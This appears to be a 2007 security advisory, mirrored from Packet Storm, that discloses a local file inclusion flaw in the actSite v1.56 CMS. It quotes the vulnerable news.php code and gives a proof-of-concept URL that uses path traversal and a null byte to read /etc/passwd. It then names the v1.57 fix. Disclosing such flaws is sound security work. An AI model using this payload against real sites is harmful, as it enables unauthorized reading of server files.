Lucene search
K

actsitenews-lfi.txt

🗓️ 02 Oct 2007 00:00:00Reported by DNXType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 21 Views

Local File Inclusion vulnerability in actSite v1.56 allows remote code injection via POST variable.

Code
` \#'#/  
  
(-.-)  
  
-----------------oOO---(_)---OOo-----------------  
  
| actSite v1.56 (news.php) Local File Inclusion |  
  
| coded by DNX |  
  
-------------------------------------------------  
  
[!] Discovered: DNX  
  
[!] Vendor: http://www.actsite.de  
  
[!] Detected: 02.09.2007  
  
[!] Reported: 02.09.2007  
  
[!] Remote: yes  
  
  
  
[!] Background: actSite is a content management system based on PHP and MySQL  
  
  
  
[!] Bug: in phpinc/news.php line 101  
  
  
  
require PHP_INCLUDE_PATH."/inc/news/news_$_POST[do].php";  
  
  
  
[!] PoC:   
  
- http://[site]/[path]/phpinc/news.php?do=/../../../../../../../etc/passwd%00  
  
  
  
[!] Description:  
  
- So why we can inject code in a post variable per url? Let's do some research...  
  
- In phpinc/news.php line 36  
  
require_once('../config.php');  
  
  
  
- Let's take a look in 'config.php' line 22  
  
if(empty($BaseCfg['install_run'])) require_once($BaseCfg['BaseDir']."/phpinc/inc/csb.php");  
  
  
  
- Ok, let's take a look in 'phpinc/inc/csb.php' line 18  
  
if(getenv('REQUEST_METHOD') == "GET") {  
  
foreach($_GET as $key => $val) {  
  
$_POST[$key] =& $_GET[$key];  
  
}  
  
}  
  
  
  
[!] Solution: Install security update to v1.57  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation